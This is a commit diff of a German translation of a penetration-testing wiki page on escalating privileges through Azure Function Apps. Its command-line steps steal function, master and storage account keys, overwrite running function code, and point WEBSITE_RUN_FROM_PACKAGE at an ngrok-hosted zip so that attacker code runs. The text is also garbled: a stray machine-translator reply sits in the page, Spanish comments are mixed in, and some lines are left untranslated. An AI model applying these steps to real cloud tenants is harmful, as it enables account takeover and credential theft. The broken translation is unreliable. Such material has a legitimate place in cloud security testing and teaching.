Translated ['', 'src/pentesting-cloud/azure-security/az-privilege-escala

This commit is contained in:
Translator
2025-11-30 12:27:45 +00:00
parent b7c64a4b26
commit ca885b9c47

View File

@@ -4,34 +4,34 @@
## Function Apps
Überprüfen Sie die folgende Seite für weitere Informationen:
Weitere Informationen auf der folgenden Seite:
{{#ref}}
../az-services/az-function-apps.md
{{#endref}}
### Bucket Read/Write
### Bucket Lese-/Schreibzugriff
Mit Berechtigungen zum Lesen der Container im Storage Account, der die Funktionsdaten speichert, ist es möglich, **verschiedene Container** (benutzerdefiniert oder mit vordefinierten Namen) zu finden, die **den von der Funktion ausgeführten Code** enthalten könnten.
Mit Berechtigungen zum Lesen der Container im Storage Account, der die Funktionsdaten speichert, ist es möglich, **verschiedene Container** (kundenspezifisch oder mit vordefinierten Namen) zu finden, die möglicherweise **den von der Funktion ausgeführten Code** enthalten.
Sobald Sie herausgefunden haben, wo sich der Code der Funktion befindet, können Sie, wenn Sie Schreibberechtigungen dafür haben, die Funktion dazu bringen, beliebigen Code auszuführen und die Berechtigungen auf die verwalteten Identitäten zu eskalieren, die an die Funktion angehängt sind.
Sobald Sie gefunden haben, wo der Code der Funktion liegt, können Sie, wenn Sie Schreibberechtigungen darauf haben, die Funktion dazu bringen, beliebigen Code auszuführen und Privilegien auf die an die Funktion gebundenen managed identities zu eskalieren.
- **`File Share`** (`WEBSITE_CONTENTAZUREFILECONNECTIONSTRING` und `WEBSITE_CONTENTSHARE`)
- **`File Share`** (`WEBSITE_CONTENTAZUREFILECONNECTIONSTRING` and `WEBSITE_CONTENTSHARE)`
Der Code der Funktion wird normalerweise in einem Dateifreigabe gespeichert. Mit ausreichendem Zugriff ist es möglich, die Code-Datei zu ändern und **die Funktion dazu zu bringen, beliebigen Code zu laden**, was es ermöglicht, die Berechtigungen auf die verwalteten Identitäten zu eskalieren, die an die Funktion angehängt sind.
Der Code der Funktion wird normalerweise in einem File Share gespeichert. Mit ausreichend Zugriff ist es möglich, die Code-Datei zu verändern und **die Funktion beliebigen Code laden zu lassen**, wodurch Privilegien auf die an die Function gebundenen managed identities eskaliert werden können.
Diese Bereitstellungsmethode konfiguriert normalerweise die Einstellungen **`WEBSITE_CONTENTAZUREFILECONNECTIONSTRING`** und **`WEBSITE_CONTENTSHARE`**, die Sie von
Diese Bereitstellungsmethode konfiguriert normalerweise die Einstellungen **`WEBSITE_CONTENTAZUREFILECONNECTIONSTRING`** und **`WEBSITE_CONTENTSHARE`**, die Sie abrufen können.
```bash
az functionapp config appsettings list \
--name <app-name> \
--resource-group <res-group>
```
Diese Konfigurationen enthalten den **Storage Account Key**, den die Funktion verwenden kann, um auf den Code zuzugreifen.
Those configs will contain the **Storage Account Key** that the Function can use to access the code.
> [!CAUTION]
> Mit ausreichenden Berechtigungen, um eine Verbindung zum File Share herzustellen und das **Skript zu ändern**, ist es möglich, beliebigen Code in der Funktion auszuführen und Privilegien zu eskalieren.
> Mit ausreichenden Berechtigungen, um eine Verbindung zum File Share herzustellen und das laufende **Skript zu ändern**, ist es möglich, beliebigen Code in der Function auszuführen und Privilegien zu eskalieren.
Das folgende Beispiel verwendet macOS, um eine Verbindung zum File Share herzustellen, aber es wird empfohlen, auch die folgende Seite für weitere Informationen zu File Shares zu überprüfen:
The following example uses macOS to connect to the file share, but it's recommended to check also the following page for more info about file shares:
{{#ref}}
../az-services/az-file-shares.md
@@ -47,26 +47,26 @@ open "smb://<STORAGE-ACCOUNT>.file.core.windows.net/<FILE-SHARE-NAME>"
```
- **`function-releases`** (`WEBSITE_RUN_FROM_PACKAGE`)
Es ist auch üblich, die **zip-Releases** im Ordner `function-releases` des Storage Account Containers zu finden, den die Function App in einem Container **normalerweise mit dem Namen `function-releases`** verwendet.
Es ist außerdem üblich, die **zip releases** im Ordner `function-releases` des Storage Account-Containers zu finden, den die function app verwendet — üblicherweise in einem Container mit dem Namen **`function-releases`**.
In der Regel wird diese Bereitstellungsmethode die Konfiguration `WEBSITE_RUN_FROM_PACKAGE` in folgendem setzen:
Normalerweise setzt diese Deployment-Methode die Config `WEBSITE_RUN_FROM_PACKAGE` in:
```bash
az functionapp config appsettings list \
--name <app-name> \
--resource-group <res-group>
```
Diese Konfiguration enthält normalerweise eine **SAS-URL zum Herunterladen** des Codes aus dem Storage Account.
Diese Konfiguration enthält normalerweise eine **SAS URL zum Herunterladen** des Codes vom Storage Account.
> [!CAUTION]
> Mit ausreichenden Berechtigungen, um eine Verbindung zum Blob-Container herzustellen, der **den Code im Zip enthält**, ist es möglich, beliebigen Code in der Funktion auszuführen und Privilegien zu eskalieren.
> Mit ausreichenden Rechten, um eine Verbindung zum Blob-Container herzustellen, der **den Code als Zip enthält**, ist es möglich, beliebigen Code in der Function auszuführen und Privilegien zu eskalieren.
- **`github-actions-deploy`** (`WEBSITE_RUN_FROM_PACKAGE)`
- **`github-actions-deploy`** (`WEBSITE_RUN_FROM_PACKAGE`)
Genau wie im vorherigen Fall ist es möglich, den Ordner **`github-actions-deploy`** im Storage Account zu finden, der ein Zip des Codes und eine SAS-URL zum Zip in der Einstellung `WEBSITE_RUN_FROM_PACKAGE` enthält.
Wie im vorherigen Fall: Wenn das Deployment über Github Actions erfolgt, kann man im Storage Account den Ordner **`github-actions-deploy`** finden, der ein Zip des Codes enthält, sowie eine SAS URL zur Zip-Datei in der Einstellung `WEBSITE_RUN_FROM_PACKAGE`.
- **`scm-releases`**`(WEBSITE_CONTENTAZUREFILECONNECTIONSTRING` und `WEBSITE_CONTENTSHARE`)
- **`scm-releases`**(`WEBSITE_CONTENTAZUREFILECONNECTIONSTRING` and `WEBSITE_CONTENTSHARE`)
Mit Berechtigungen zum Lesen der Container im Storage Account, der die Funktionsdaten speichert, ist es möglich, den Container **`scm-releases`** zu finden. Dort ist es möglich, die neueste Version im **Squashfs-Dateisystemdateiformat** zu finden und daher den Code der Funktion zu lesen:
Mit Berechtigungen, die Container im Storage Account, der die Function-Daten speichert, lesen zu können, ist es möglich, den Container **`scm-releases`** zu finden. Dort lässt sich die neueste Release im **Squashfs filesystem file format** finden und somit der Code der Function auslesen:
```bash
# List containers inside the storage account of the function app
az storage container list \
@@ -98,10 +98,10 @@ unsquashfs -l "/tmp/scm-latest-<app-name>.zip"
mkdir /tmp/fs
unsquashfs -d /tmp/fs /tmp/scm-latest-<app-name>.zip
```
Es ist auch möglich, die **Master- und Funktionsschlüssel** im Speicherkonto im Container **`azure-webjobs-secrets`** im Ordner **`<app-name>`** in den JSON-Dateien zu finden, die Sie dort finden können.
Es ist auch möglich, die **Master- und Functions-Keys** im Storage-Konto im Container **`azure-webjobs-secrets`** innerhalb des Ordners **`<app-name>`** in den darin enthaltenen JSON-Dateien zu finden.
> [!CAUTION]
> Mit ausreichenden Berechtigungen, um eine Verbindung zum Blob-Container herzustellen, der **den Code in einer Zip-Erweiterungsdatei** (die tatsächlich ein **`squashfs`** ist) enthält, ist es möglich, beliebigen Code in der Funktion auszuführen und Privilegien zu eskalieren.
> Mit ausreichenden Rechten, um eine Verbindung zum Blob-Container herzustellen, der **den Code in einer zip extension file enthält** (die tatsächlich ein **`squashfs`** ist), ist es möglich, beliebigen Code in der Function auszuführen und Privilegien zu eskalieren.
```bash
# Modify code inside the script in /tmp/fs adding your code
@@ -118,11 +118,11 @@ az storage blob upload \
```
### `Microsoft.Web/sites/host/listkeys/action`
Diese Berechtigung ermöglicht das Auflisten der Funktions-, Master- und Systemschlüssel, jedoch nicht des Hostschlüssels, der angegebenen Funktion mit:
Diese Berechtigung erlaubt das Auflisten der function-, master- und system-keys, jedoch nicht des host-keys der angegebenen function mit:
```bash
az functionapp keys list --resource-group <res_group> --name <func-name>
```
Mit dem Master-Schlüssel ist es auch möglich, den Quellcode in einer URL wie:
Mit dem master key ist es auch möglich, den source code in einer URL wie folgt zu erhalten:
```bash
# Get "script_href" from
az rest --method GET \
@@ -130,70 +130,91 @@ az rest --method GET \
# Access
curl "<script-href>?code=<master-key>"
## Python example:
# Python function app example
curl "https://newfuncttest123.azurewebsites.net/admin/vfs/home/site/wwwroot/function_app.py?code=RByfLxj0P-4Y7308dhay6rtuonL36Ohft9GRdzS77xWBAzFu75Ol5g==" -v
# JavaScript function app example
curl "https://consumptionexample.azurewebsites.net/admin/vfs/site/wwwroot/HttpExample/index.js?code=tKln7u4DtLgmG55XEvMjN0Lv9a3rKZK4dLbOHmWgD2v1AzFu3w9y_A==" -v
```
Und um **den Code, der in der Funktion ausgeführt wird, zu ändern** mit:
```bash
# Set the code to set in the function in /tmp/function_app.py
## The following continues using the python example
## Python function app example
curl -X PUT "https://newfuncttest123.azurewebsites.net/admin/vfs/home/site/wwwroot/function_app.py?code=RByfLxj0P-4Y7308dhay6rtuonL36Ohft9GRdzS77xWBAzFu75Ol5g==" \
--data-binary @/tmp/function_app.py \
-H "Content-Type: application/json" \
-H "If-Match: *" \
-v
# NodeJS function app example
curl -X PUT "https://consumptionexample.azurewebsites.net/admin/vfs/site/wwwroot/HttpExample/index.js?code=tKln7u4DtLgmG55XEvMjN0Lv9a3rKZK4dLbOHmWgD2v1AzFu3w9y_A==" \
--data-binary @/tmp/index.js \
-H "Content-Type: application/json" \
-H "If-Match: *" \
-v
```
### `Microsoft.Web/sites/functions/listKeys/action`
Diese Berechtigung ermöglicht es, den Hostschlüssel der angegebenen Funktion mit:
Diese Berechtigung erlaubt es, den Standardschlüssel der angegebenen Function mit folgendem Befehl abzurufen:
```bash
az rest --method POST --uri "https://management.azure.com/subscriptions/<subsription-id>/resourceGroups/<resource-group>/providers/Microsoft.Web/sites/<func-name>/functions/<func-endpoint-name>/listKeys?api-version=2022-03-01"
```
Rufe die Funktion mit dem erhaltenen Standardschlüssel auf:
```bash
curl "https://<app-name>.azurewebsites.net/api/<func-endpoint-name>?code=<default-key>"
```
### `Microsoft.Web/sites/host/functionKeys/write`
Diese Berechtigung ermöglicht das Erstellen/Aktualisieren eines Funktionsschlüssels der angegebenen Funktion mit:
Diese Berechtigung erlaubt das Erstellen/Aktualisieren eines function key der angegebenen Funktion mit:
```bash
az functionapp keys set --resource-group <res_group> --key-name <key-name> --key-type functionKeys --name <func-key> --key-value q_8ILAoJaSp_wxpyHzGm4RVMPDKnjM_vpEb7z123yRvjAzFuo6wkIQ==
```
### `Microsoft.Web/sites/host/masterKey/write`
Diese Berechtigung ermöglicht es, einen Master-Schlüssel für die angegebene Funktion zu erstellen/aktualisieren mit:
Diese Berechtigung erlaubt das Erstellen/Aktualisieren eines Master-Keys für die angegebene Funktion mit:
```bash
az functionapp keys set --resource-group <res_group> --key-name <key-name> --key-type masterKey --name <func-key> --key-value q_8ILAoJaSp_wxpyHzGm4RVMPDKnjM_vpEb7z123yRvjAzFuo6wkIQ==
```
> [!CAUTION]
> Denken Sie daran, dass Sie mit diesem Schlüssel auch auf den Quellcode zugreifen und ihn wie zuvor erklärt ändern können!
> Denke daran, dass du mit diesem key auch auf den source code zugreifen und ihn wie zuvor beschrieben ändern kannst!
### `Microsoft.Web/sites/host/systemKeys/write`
Diese Berechtigung ermöglicht das Erstellen/Aktualisieren eines Systemfunktionsschlüssels für die angegebene Funktion mit:
Diese Berechtigung erlaubt das Erstellen/Aktualisieren eines system function key für die angegebene Funktion mit:
```bash
az functionapp keys set --resource-group <res_group> --key-name <key-name> --key-type masterKey --name <func-key> --key-value q_8ILAoJaSp_wxpyHzGm4RVMPDKnjM_vpEb7z123yRvjAzFuo6wkIQ==
```
Ich sehe keinen Schlüssel oder Text zum Übersetzen. Bitte füge den Key oder den Inhalt der Datei src/pentesting-cloud/azure-security/az-privilege-escalation/az-functions-app-privesc.md hier ein, dann übersetze ich ihn ins Deutsche unter Beibehaltung der Markdown-/HTML-Syntax.
```bash
# Ejemplo: Acceso a endpoints de Durable Functions
curl "https://<app-name>.azurewebsites.net/runtime/webhooks/durabletask/instances?code=<system-key>"
# Ejemplo: Acceso a Event Grid webhooks
curl "https://<app-name>.azurewebsites.net/runtime/webhooks/eventgrid?code=<system-key>"
```
### `Microsoft.Web/sites/config/list/action`
Diese Berechtigung ermöglicht es, die Einstellungen einer Funktion abzurufen. In diesen Konfigurationen könnte es möglich sein, die Standardwerte **`AzureWebJobsStorage`** oder **`WEBSITE_CONTENTAZUREFILECONNECTIONSTRING`** zu finden, die einen **Kontoschlüssel zum Zugriff auf den Blob-Speicher der Funktion mit VOLLBERECHTIGUNGEN** enthalten.
Diese Berechtigung erlaubt das Abrufen der Einstellungen einer Function. In diesen Konfigurationen können möglicherweise die Standardwerte **`AzureWebJobsStorage`** oder **`WEBSITE_CONTENTAZUREFILECONNECTIONSTRING`** gefunden werden, die einen **Account-Schlüssel zum Zugriff auf das blob storage der Function mit FULL permissions** enthalten.
```bash
az functionapp config appsettings list --name <func-name> --resource-group <res-group>
```
Darüber hinaus ermöglicht diese Berechtigung auch den Zugriff auf den **SCM-Benutzernamen und das Passwort** (falls aktiviert) mit:
Außerdem erlaubt diese Berechtigung auch, die **SCM username and password** (falls aktiviert) wie folgt zu erhalten:
```bash
az rest --method POST \
--url "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/<res-group>/providers/Microsoft.Web/sites/<app-name>/config/publishingcredentials/list?api-version=2018-11-01"
```
### `Microsoft.Web/sites/config/list/action`, `Microsoft.Web/sites/config/write`
Diese Berechtigungen ermöglichen es, die Konfigurationswerte einer Funktion aufzulisten, wie wir zuvor gesehen haben, plus **diese Werte zu ändern**. Dies ist nützlich, da diese Einstellungen anzeigen, wo sich der Code befindet, der innerhalb der Funktion ausgeführt werden soll.
Diese Berechtigungen erlauben es, wie bereits gesehen, die Konfigurationswerte einer Function aufzulisten und zusätzlich **diese Werte zu ändern**. Das ist nützlich, weil diese Einstellungen anzeigen, wo sich der auszuführende Code innerhalb der Function befindet.
Es ist daher möglich, den Wert der Einstellung **`WEBSITE_RUN_FROM_PACKAGE`** auf eine URL-Zip-Datei zu setzen, die den neuen Code enthält, der innerhalb einer Webanwendung ausgeführt werden soll:
Es ist daher möglich, den Wert der Einstellung **`WEBSITE_RUN_FROM_PACKAGE`** so zu setzen, dass er auf eine URL zu einer ZIP-Datei zeigt, welche den neuen Code enthält, der innerhalb einer Webanwendung ausgeführt werden soll:
- Beginnen Sie damit, die aktuelle Konfiguration abzurufen.
- Beginnen Sie damit, die aktuelle Konfiguration abzurufen
```bash
az functionapp config appsettings list \
--name <app-name> \
--resource-group <res-name>
```
- Erstellen Sie den Code, den die Funktion ausführen soll, und hosten Sie ihn öffentlich.
- Erstelle den Code, den die Funktion ausführen soll, und hoste ihn öffentlich
```bash
# Write inside /tmp/web/function_app.py the code of the function
cd /tmp/web/function_app.py
@@ -203,9 +224,9 @@ python3 -m http.server
# Serve it using ngrok for example
ngrok http 8000
```
- Ändern Sie die Funktion, behalten Sie die vorherigen Parameter bei und fügen Sie am Ende die Konfiguration **`WEBSITE_RUN_FROM_PACKAGE`** hinzu, die auf die URL mit der **zip** verweist, die den Code enthält.
- Ändere die Funktion, behalte die vorherigen Parameter bei und füge am Ende die Konfiguration **`WEBSITE_RUN_FROM_PACKAGE`** hinzu, die auf die URL mit dem **zip** zeigt, welche den Code enthält.
Das folgende ist ein Beispiel für meine **eigenen Einstellungen, die Sie an Ihre Werte anpassen müssen**, beachten Sie am Ende die Werte `"WEBSITE_RUN_FROM_PACKAGE": "https://4c7d-81-33-68-77.ngrok-free.app/function_app.zip"`, hier habe ich die App gehostet.
Das Folgende ist ein Beispiel meiner **eigenen Einstellungen — du musst die Werte für deine ändern**, beachte am Ende den Wert `"WEBSITE_RUN_FROM_PACKAGE": "https://4c7d-81-33-68-77.ngrok-free.app/function_app.zip"`, hier habe ich die App gehostet.
```bash
# Modify the function
az rest --method PUT \
@@ -215,7 +236,7 @@ az rest --method PUT \
```
### `Microsoft.Web/sites/hostruntime/vfs/write`
Mit dieser Berechtigung ist es **möglich, den Code einer Anwendung** über die Webkonsole (oder über den folgenden API-Endpunkt) zu ändern:
Mit dieser Berechtigung ist es **möglich, den Code einer Anwendung zu ändern** über die Webkonsole (oder über den folgenden API-Endpunkt):
```bash
# This is a python example, so we will be overwritting function_app.py
# Store in /tmp/body the raw python code to put in the function
@@ -223,10 +244,29 @@ az rest --method PUT \
--uri "https://management.azure.com/subscriptions/<subcription-id>/resourceGroups/<res-group>/providers/Microsoft.Web/sites/<app-name>/hostruntime/admin/vfs/function_app.py?relativePath=1&api-version=2022-03-01" \
--headers '{"Content-Type": "application/json", "If-Match": "*"}' \
--body @/tmp/body
# Through the SCM URL (using Azure permissions or SCM creds)
az rest --method PUT \
--url "https://consumptionexample.scm.azurewebsites.net/api/vfs/site/wwwroot/HttpExample/index.js" \
--resource "https://management.azure.com/" \
--headers "If-Match=*" \
--body 'module.exports = async function (context, req) {
context.log("JavaScript HTTP trigger function processed a request. Training Demo 2");
const name = (req.query.name || (req.body && req.body.name));
const responseMessage = name
? "Hello, " + name + ". This HTTP triggered function executed successfully. Training Demo 2"
: "This HTTP triggered function executed successfully. Pass a name in the query string or in the request body for a personalized response. Training Demo 2";
context.res = {
// status: 200, /* Defaults to 200 */
body: responseMessage
};
}'
```
### `Microsoft.Web/sites/publishxml/action`, (`Microsoft.Web/sites/basicPublishingCredentialsPolicies/write`)
Diese Berechtigungen ermöglichen es, alle Veröffentlichungsprofile aufzulisten, die im Grunde **Basis-Auth-Anmeldeinformationen** enthalten:
Diese Berechtigung erlaubt das Auflisten aller Publishing-Profile, die im Wesentlichen **basic auth credentials** enthalten:
```bash
# Get creds
az functionapp deployment list-publishing-profiles \
@@ -234,15 +274,15 @@ az functionapp deployment list-publishing-profiles \
--resource-group <res-name> \
--output json
```
Eine weitere Möglichkeit wäre, eigene Anmeldeinformationen festzulegen und diese zu verwenden mit:
Eine weitere Möglichkeit wäre, deine eigenen creds zu setzen und sie zu verwenden:
```bash
az functionapp deployment user set \
--user-name DeployUser123456 g \
--password 'P@ssw0rd123!'
```
- Wenn die **REDACTED** Anmeldeinformationen
- Wenn **REDACTED** Anmeldeinformationen
Wenn Sie sehen, dass diese Anmeldeinformationen **REDACTED** sind, liegt das daran, dass Sie **die SCM-Basisauthentifizierungsoption aktivieren müssen** und dafür die zweite Berechtigung (`Microsoft.Web/sites/basicPublishingCredentialsPolicies/write):` benötigen.
Wenn du siehst, dass diese Anmeldeinformationen **REDACTED** sind, liegt das daran, dass du **die SCM basic authentication option aktivieren musst** und dafür benötigst du die zweite Berechtigung (`Microsoft.Web/sites/basicPublishingCredentialsPolicies/write):`
```bash
# Enable basic authentication for SCM
az rest --method PUT \
@@ -264,7 +304,7 @@ az rest --method PUT \
```
- **Methode SCM**
Dann können Sie mit diesen **Basis-Authentifizierungsanmeldeinformationen auf die SCM-URL** Ihrer Funktionsanwendung zugreifen und die Werte der Umgebungsvariablen abrufen:
Anschließend kannst du mit diesen **basic auth credentials to the SCM URL** auf die SCM-URL deiner function app zugreifen und die Werte der env variables auslesen:
```bash
# Get settings values
curl -u '<username>:<password>' \
@@ -275,15 +315,15 @@ zip function_app.zip function_app.py # Your code in function_app.py
curl -u '<username>:<password>' -X POST --data-binary "@<zip_file_path>" \
https://<app-name>.scm.azurewebsites.net/api/zipdeploy
```
_Beachten Sie, dass der **SCM-Benutzername** normalerweise das Zeichen "$" gefolgt vom Namen der App ist, also: `$<app-name>`._
_Beachte, dass der **SCM-Benutzername** normalerweise das Zeichen "$" gefolgt vom Namen der App ist, also: `$<app-name>`._
Sie können auch die Webseite von `https://<app-name>.scm.azurewebsites.net/BasicAuth` aufrufen.
Du kannst die Webseite auch über `https://<app-name>.scm.azurewebsites.net/BasicAuth` aufrufen.
Die Einstellungswerte enthalten den **AccountKey** des Speicherkontos, das die Daten der Funktions-App speichert, und ermöglichen die Kontrolle über dieses Speicherkonto.
Die Einstellungen enthalten den **AccountKey** des Storage-Accounts, der die Daten der Function App speichert, und ermöglichen so die Kontrolle dieses Storage-Accounts.
- **Methode FTP**
Verbinden Sie sich mit dem FTP-Server mit:
Stelle eine Verbindung zum FTP-Server her mit:
```bash
# macOS install lftp
brew install lftp
@@ -297,19 +337,19 @@ ls # List
get ./function_app.py -o /tmp/ # Download function_app.py in /tmp
put /tmp/function_app.py -o /site/wwwroot/function_app.py # Upload file and deploy it
```
_Beachten Sie, dass der **FTP-Benutzername** normalerweise im Format \<app-name>\\$\<app-name> vorliegt._
_Beachte, dass der **FTP username** normalerweise im Format \<app-name>\\$\<app-name> ist._
### `Microsoft.Web/sites/hostruntime/vfs/read`
Diese Berechtigung ermöglicht es, den **Quellcode** der App über das VFS zu **lesen**:
Diese Berechtigung erlaubt es, den **Quellcode** der App über das VFS zu **lesen**:
```bash
az rest --url "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/<res-group>/providers/Microsoft.Web/sites/<app-name>/hostruntime/admin/vfs/function_app.py?relativePath=1&api-version=2022-03-01"
```
### `Microsoft.Web/sites/functions/token/action`
Mit dieser Berechtigung ist es möglich, [das **Admin-Token**](https://learn.microsoft.com/ca-es/rest/api/appservice/web-apps/get-functions-admin-token?view=rest-appservice-2024-04-01) zu erhalten, das später verwendet werden kann, um den **Master-Schlüssel** abzurufen und somit auf den Code der Funktion zuzugreifen und ihn zu ändern.
Mit dieser Berechtigung ist es möglich, [get the **admin token**](https://learn.microsoft.com/ca-es/rest/api/appservice/web-apps/get-functions-admin-token?view=rest-appservice-2024-04-01), mit dem später der **master key** abgerufen werden kann und man somit auf den function's code zugreifen und ihn ändern kann.
Bei meinen letzten Überprüfungen wurde jedoch kein Token zurückgegeben, daher könnte es deaktiviert oder nicht mehr funktionsfähig sein, aber so würden Sie es tun:
Allerdings wurde bei meinen letzten Prüfungen kein Token zurückgegeben, es könnte also deaktiviert sein oder nicht mehr funktionieren, aber hier ist, wie du vorgehen würdest:
```bash
# Get admin token
az rest --method GET \
@@ -321,7 +361,7 @@ curl "https://<app-name>.azurewebsites.net/admin/host/systemkeys/_master" \
```
### `Microsoft.Web/sites/config/write`, (`Microsoft.Web/sites/functions/properties/read`)
Diese Berechtigungen ermöglichen es, **Funktionen zu aktivieren**, die möglicherweise deaktiviert sind (oder sie zu deaktivieren).
Diese Berechtigungen erlauben es, **Funktionen zu aktivieren**, die möglicherweise deaktiviert sind (oder sie zu deaktivieren).
```bash
# Enable a disabled function
az functionapp config appsettings set \
@@ -329,13 +369,13 @@ az functionapp config appsettings set \
--resource-group <res-group> \
--settings "AzureWebJobs.http_trigger1.Disabled=false"
```
Es ist auch möglich zu sehen, ob eine Funktion unter der folgenden URL aktiviert oder deaktiviert ist (unter Verwendung der Berechtigung in Klammern):
Es ist außerdem möglich, über die folgende URL zu prüfen, ob eine Funktion aktiviert oder deaktiviert ist (mit der in Klammern angegebenen Berechtigung):
```bash
az rest --url "https://management.azure.com/subscriptions/<subscripntion-id>/resourceGroups/<res-group>/providers/Microsoft.Web/sites/<app-name>/functions/<func-name>/properties/state?api-version=2024-04-01"
```
### `Microsoft.Web/sites/config/write`, `Microsoft.Web/sites/config/list/action`, (`Microsoft.Web/sites/read`, `Microsoft.Web/sites/config/list/action`, `Microsoft.Web/sites/config/read`)
Mit diesen Berechtigungen ist es möglich, **den Container, der von einer Function App ausgeführt wird**, die so konfiguriert ist, dass sie einen Container ausführt, zu **modifizieren**. Dies würde es einem Angreifer ermöglichen, eine bösartige Azure Function Container-App (zum Beispiel) zu Docker Hub hochzuladen und die Funktion dazu zu bringen, sie auszuführen.
Mit diesen Berechtigungen ist es möglich, den von einer als Container konfigurierten function app ausgeführten Container zu **modifizieren**. Dadurch könnte ein Angreifer eine bösartige azure function container app (zum Beispiel) auf docker hub hochladen und die function dazu bringen, diese auszuführen.
```bash
az functionapp config container set --name <app-name> \
--resource-group <res-group> \
@@ -343,7 +383,7 @@ az functionapp config container set --name <app-name> \
```
### `Microsoft.Web/sites/write`, `Microsoft.ManagedIdentity/userAssignedIdentities/assign/action`, `Microsoft.App/managedEnvironments/join/action`, (`Microsoft.Web/sites/read`, `Microsoft.Web/sites/operationresults/read`)
Mit diesen Berechtigungen ist es möglich, **eine neue benutzerdefinierte Identität an eine Funktion anzuhängen**. Wenn die Funktion kompromittiert wurde, würde dies ermöglichen, die Berechtigungen auf jede benutzerdefinierte Identität zu eskalieren.
Mit diesen Berechtigungen ist es möglich, **attach a new user managed identity to a function**. Wenn die function kompromittiert wurde, würde dies erlauben, Privilegien auf jede user managed identity zu eskalieren.
```bash
az functionapp identity assign \
--name <app-name> \
@@ -352,20 +392,20 @@ az functionapp identity assign \
```
### Remote Debugging
Es ist auch möglich, sich zu verbinden, um eine laufende Azure-Funktion zu debuggen, wie [**in den Dokumenten erklärt**](https://learn.microsoft.com/en-us/azure/azure-functions/functions-develop-vs). Standardmäßig wird Azure diese Option jedoch nach 2 Tagen deaktivieren, falls der Entwickler vergisst, um zu vermeiden, dass verwundbare Konfigurationen zurückbleiben.
Es ist auch möglich, eine Verbindung herzustellen, um eine laufende Azure function zu debuggen, wie [**explained in the docs**](https://learn.microsoft.com/en-us/azure/azure-functions/functions-develop-vs). Standardmäßig deaktiviert Azure diese Option jedoch nach 2 Tagen, falls der Entwickler vergisst, sie auszuschalten, um verwundbare Konfigurationen zu vermeiden.
Es ist möglich zu überprüfen, ob eine Funktion das Debugging aktiviert hat mit:
Es ist möglich zu überprüfen, ob Debugging für eine Function aktiviert ist mit:
```bash
az functionapp show --name <app-name> --resource-group <res-group>
```
Mit der Berechtigung `Microsoft.Web/sites/config/write` ist es auch möglich, eine Funktion in den Debugging-Modus zu versetzen (der folgende Befehl erfordert ebenfalls die Berechtigungen `Microsoft.Web/sites/config/list/action`, `Microsoft.Web/sites/config/Read` und `Microsoft.Web/sites/Read`).
Wenn man die Berechtigung `Microsoft.Web/sites/config/write` hat, ist es außerdem möglich, eine Funktion in den Debugging-Modus zu versetzen (der folgende Befehl erfordert außerdem die Berechtigungen `Microsoft.Web/sites/config/list/action`, `Microsoft.Web/sites/config/Read` und `Microsoft.Web/sites/Read`).
```bash
az functionapp config set --remote-debugging-enabled=True --name <app-name> --resource-group <res-group>
```
### Ändern des Github-Repos
### Change Github repo
Ich habe versucht, das Github-Repo, von dem die Bereitstellung erfolgt, zu ändern, indem ich die folgenden Befehle ausgeführt habe, aber selbst wenn es geändert wurde, **wurde der neue Code nicht geladen** (wahrscheinlich, weil es erwartet, dass die Github Action den Code aktualisiert).\
Darüber hinaus wurde die **verwaltete Identität der föderierten Anmeldeinformationen nicht aktualisiert**, um das neue Repository zuzulassen, sodass es so aussieht, als wäre dies nicht sehr nützlich.
Ich habe versucht, das Github repo, von dem aus die Bereitstellung erfolgt, durch Ausführen der folgenden Befehle zu ändern, aber selbst wenn es geändert wurde, wurde **der neue Code nicht geladen** (wahrscheinlich, weil erwartet wird, dass die Github Action den Code aktualisiert).\
Außerdem wurde die **managed identity federated credential** nicht aktualisiert, um das neue Repository zuzulassen, daher scheint das nicht sehr nützlich zu sein.
```bash
# Remove current
az functionapp deployment source delete \